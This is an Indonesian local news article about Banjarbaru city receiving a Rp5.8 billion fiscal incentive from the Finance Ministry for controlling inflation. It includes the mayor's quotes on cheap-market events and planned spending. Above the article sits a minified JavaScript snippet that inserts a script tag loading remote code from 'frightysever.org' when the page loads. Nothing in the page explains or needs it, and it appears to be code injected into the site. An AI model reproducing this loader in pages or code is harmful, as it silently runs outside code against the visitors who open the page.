(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Kanal

Kendalikan Inflasi, Banjarbaru Terima Insentif Fiskal Rp5,8 M dari Kemenkeu

KANALKALIMANTAN.COM, BANJARBARU – Kementerian Keuangan (Kemenkeu) menggelontorkan insentif fiskal kepada Pemerintah Kota (Pemko) Banjarbaru atas keberhasilan mengendalikan inflasi di daerah.

Hanya dua pemerintah daerah di Provinsi Kalimantan Selatan (Kalsel) menjadi penerima dana insentif fiskal sebagai bentuk penghargaan yaitu Kota Banjarbaru dan Kota Banjarmasin.

Total insentif fiskal yang diberikan kepada Pemko Banjarbaru periode pertama 2024 sebesar Rp5,8 miliar. Prestasi ini merupakan catatan yang kembali diulang Wali Kota Banjarbaru Aditya Mufti Ariffin pada tahun 2023 lalu. Era kepemimpinannya dalam mengendalikan inflasi yang berdampak bagi kesejahteraan masyarakat.

Wali Kota Aditya mengatakan, dana insentif fiskal tersebut tertera dalam Keputusan Menteri Keuangan Republik Indonesia Nomor 295 tahun 2024 yang ditandatangi Menteri Keuangan Sri Mulyani.

“Seperti di tahun 2023, Alhamdulillah kita kembali mendapat dana insetif fiskal dari Kementerian Keuangan atas keberhasilan mengendalikan inflasi. Ini merupakan alokasi dana periode pertama di tahun 2024. Kita berharap periode selanjutnya berhasil mendapatkannya lagi,” ucapnya, Senin (15/7/2024) siang.

Kinerja seluruh jajaran Pemko Banjarbaru, diakui Wali Kota Aditya menjadi faktor utama dalam upaya pengendalian inflasi. Salah satunya dengan digelarnnya event pasar murah secara serentak di berbagai wilayah se Kota Banjarbaru sejak awal tahun tadi.

“Pasar murah itu merupakan salah satu upaya kita dalam menekan inflasi. Dengan menghadirkan berbagai produk pangan dengan harga yang sangat terjangkau, sehingga kebutuhan masyarakat dapat terpenuhi,” terangnya.

Reward berupa dana insentif fiskal sebesar Rp5,8 miliar tersebut, Aditya berjanji bahwa penggunaannya penggunaannya sesuai dengan prioritas kebutuhan masyarakat.

“Kita akan gunakan dana untuk mendukung penurunan inflasi, penurunan stunting, kemiskinan ekstrem, dan meningkatkan investasi. Insyaallah akan bermanfaat bagi masyarakat,” tuntasnya.

Sekadar informasi, Kemenkeu RI mengalokasikan dana sebesar Rp300 miliar bagi seluruh provinsi, kabupaten, kota yang dinilai berhasil mengendalikan inflasi. Tercatat pada periode pertama total penerima penghargaan ini ada 50 pemerintah daerah. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: kk